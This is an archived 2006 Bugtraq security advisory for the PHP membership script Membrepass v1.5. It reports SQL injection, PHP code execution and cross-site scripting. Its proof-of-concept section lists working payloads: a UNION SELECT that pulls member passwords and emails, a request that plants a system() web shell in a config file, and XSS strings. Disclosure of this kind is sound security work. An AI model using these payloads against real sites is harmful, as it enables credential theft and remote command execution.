bugtraq - Membrepass v1.5 Php code execution, Xss, Sql Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060831135840.30806.qmail@securityfocus.com>
Date: 31 Aug 2006 13:58:40 -0000
From: gmdarkfig@...il.com
To: bugtraq@...urityfocus.com
Subject: Membrepass v1.5 Php code execution, Xss, Sql Injection

=================================================================
 Affected.scr..: Membrepass v1.5
 Advisory.ID...: 09290806
 Type..........: Cross Site Scripting, SQL Injection
                 Php code execution
 Risk.level....: Medium
 Vendor.Status.: Unpatched
 Src.download..: comscripts.com/scripts/php.membrepass.1459.html
 Adv.link......: acid-root.new.fr/advisories/09290806.txt
=================================================================

==[ OVERVIEW
============
membrepass AVEC MESSAGERIE est un espace membre installation automatique.
Marche sur FREE,ONLINE et les autres hébergeurs.Le script est entierement
configurable et possible d'ajouter les couleurs de votre site.
Vous pouvez ajouter ou supprimer les champs formulaire.
Protection des emails contre aspirateurs (anti SPAM).
[Quote from www.comscripts.com]

==[ DETAILS
===========
Many vulnerabilities have been discovered in Membrepass v1.5.

1)Input passed to the "recherche" parameter in /recherchemembre.php isn't
properly sanitised before being used in a SQL query. This bug can be
exploited to conduct SQL injection attacks. Successful exploitation may
require that "magic_quotes_gpc" is disabled.

2)Input passed to the "aifon" parameter in /include/change.php isn't
properly satanised before being used in fputs() function. This can
be exploited to execude PHP code. Successful exploitation may require
that "register_globals" is enabled and "magic_quotes_gpc" is disabled.

3)Input passed to the "recherche" parameter in /recherchemembre.php and
to the "email" parameter in /test.php isn't properly satanised before
being returned to the user. This can be exploited to conduct cross-site
scripting attacks. Successful exploitation may require that
"register_globals" is enabled.

==[ POC/EXPLOIT
===============
POST /recherchemembre.php DATA recherche=' UNION SELECT passe,0,email,0,0,0,0,0,0,0,0,0,pseudo,0,0,0,0,0,0,0,0,0 FROM membre #
GET  /include/change.php  DATA ainfo="; $cmd = $_GET['cmd']; system($cmd); exit; // http://.../include/variable.php?cmd=dir
POST /recherchemembre.php DATA recherche=</b><script>alert(666)</script>
GET  /test.php            DATA email=<script>alert(666)</script>

==[ SOLUTION
============
Edit the source code to ensure that input is properly verified.

==[ TIMELINE
============
29. Aug. 2006 - Public Disclosure

==[ CONTACT
===========
Author: DarkFig
Web...: www.acid-root.new.fr
E-mail: gmdarkfig[*]gmail[*]com (fr/en)